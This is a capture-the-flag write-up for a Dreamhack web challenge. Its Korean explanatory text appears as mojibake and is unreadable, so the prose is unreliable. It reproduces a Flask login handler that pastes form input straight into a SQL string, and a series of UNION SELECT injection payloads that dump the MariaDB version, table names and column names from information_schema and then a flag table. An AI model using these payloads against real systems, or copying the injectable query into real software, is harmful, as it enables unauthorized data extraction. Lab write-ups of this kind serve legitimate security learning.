1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/984
2. ํด๊ฒฐ ๊ณผ์
(1) ๋ฌธ์ ํ์ด์ง ํ์ธ
(2) ์ฝ๋ ํ์ธ
- app.py
์ ๋ ฅ๊ฐ์ ๋ํ ํํฐ๋ง์ด ์๋ค.
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
- init.sql
์ฌ์ค ๋ฌธ์ ํ์ด์ง์์ admin์ผ๋ก ๋ก๊ทธ์ธํ๋ฉด ๋๋ ์ค ์๊ณ ์ฝ๋๋ฅผ ์๋ณด๊ณ ๋ฌธ์ ํ์๋ค.
๊ทธ๋ฐ๋ฐ ๋ญ๊ฐ ์ด์ํด์ ํ์ธํด๋ณด๋๊น ์ ๊ทผํด์ผ ํ๋ ํ ์ด๋ธ์ users๊ฐ ์๋ fake_table_name(๊ฐ์ง ์ด๋ฆ) ์ด์๋ค.
ํด๋น ํ ์ด๋ธ์๋ ์ด๋ฆ ๋ชจ๋ฅด๋ ์นผ๋ผ๋ค์ด 4๊ฐ๊ฐ ๋ค์ด์๊ณ , ์นผ๋ผ์ ๋๋ ์ ธ์ ํ๋๊ทธ๊ฐ์ด ๋ค์ด๊ฐ ์๋ค.
๋ฐ๋ผ์, ์ฐ๋ฆฌ๋ ํ ์ด๋ธ์ด๋ฆ๊ณผ ์นผ๋ผ๊ฐ์ ์์๋ด์ผ ํ๋ค.
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
UNION sql injection์ด ๊ฐ๋ฅํ์ง ๋จผ์ ํ์ธํด๋ณธ ๋ค ์งํํ ๊ฒ์ด๋ค. ํํฐ๋ง์ด ์์๊ธฐ ๋๋ฌธ์ ๊ฐ๋ฅํ ๊ฒ์ด๋ค.
admin' UNION SELECT * FROM users # ์ ์ ๋ ฅํด์ ํ์ธํด๋ณด๋ฉด, UNION์ ๋ํด์๋ ์์ ๋กญ๊ฒ ์ ๋ ฅ ๊ฐ๋ฅํ ๊ฒ์ ์ ์ ์๋ค.
+) ๊น๋จน์๋๋ฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋ฒ์ ํ์ธ๋ ํด์ผํ๋ค. ๋ฌธ์ ๋ค ํ๊ณ ์๊ฐ๋์ ์ถ๊ฐํจ
admin' union select version(),null,null,null #
-> mariaDB์ด๋ค.
information_schema์์ ํ ์ด๋ธ๋ช ์ ์กฐํํด์ ํ ์ด๋ธ์ ์ ๋ณด๋ฅผ ์์๋ผ ๊ฒ์ด๋ค.
null๊ฐ์ ์ฃผ๋ ์ด์ ๋ ์นผ๋ผ์ ๊ฐ์๋ฅผ ๋ง์ถฐ์ ์ฟผ๋ฆฌ๋ฌธ์ ๋ณด๋ด์ค์ผ ์ค๋ฅ๊ฐ ๋ฐ์ํ์ง ์๋๋ค.
admin' UNION SELECT TABLE_NAME, null, null, null FROM information_schema.TABLES;#
๋ฑ๋ด๋ onlyflag๋ผ๋ ์ด๋ฆ์ ํ ์ด๋ธ์ด ์์ฌ์ค๋ฌ์๋ณด์ธ๋ค.
์์๋ธ ํ ์ด๋ธ๋ช ์ ์ด์ฉํด์ ์นผ๋ผ๋ช ์ ์์๋ผ ๊ฒ์ด๋ค.
admin' UNION SELECT COLUMN_NAME, null, null, null FROM information_schema.columns WHERE table_name='onlyflag'#
sname, svalue, sflag, sclose ๊ฐ onlyfalg์ ์นผ๋ผ๋ช ์ด๋ค.
(๋๋จธ์ง๋ users)
์นผ๋ผ์ ๊ฐ ์กฐํํ๋ ์ฟผ๋ฆฌ๋ฌธ ์์ฑํ๋ฉด flag๊ฐ ์ฑ๊ณต์ ์ผ๋ก ์ถ๋ ฅ๋๋ค.
admin' UNION SELECT sname, svalue, sflag, sclose FROM onlyflag;#
์ค ์์๋๋ฐ ์๋์๋ค.
๋ค์ ํ์ธํด๋ณด๋ฉด ์นผ๋ผ 4๊ฐ๋ฅผ ์กฐํํ๋๋ก ์ฟผ๋ฆฌ๋ฌธ์ ์์ฑํ์๋๋ฐ 3๊ฐ๋ง ์กฐํ๋์๋ค. ์ฆ ํ๋๊ฐ ๋๋ฝ๋์๋ค.
๋ญ๊ฐ ๋๋ฝ๋์๋์ง ๋ชจ๋ฅด๊ฒ ์ด์ ๊ทธ๋ฅ ํ๋์ฉ ํด๋ณด์๋ค.
admin' UNION SELECT svalue, sflag, sclose, NULL FROM onlyflag;#
์ ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ ์๋ก์ด ํ๋๊ทธ ๊ฐ์ด ๋์ ์ค๊ฐ์ ๊ปด์ฃผ์๋ค. ( ์์์ DH{ , ๋ง์ง๋ง์ }๋ก ๋๋๋ผ ๋๋ฌธ์ ์ค๊ฐ๊ฐ์ด๋ผ๋ ๊ฒ์ ์์ ์์๋ค.)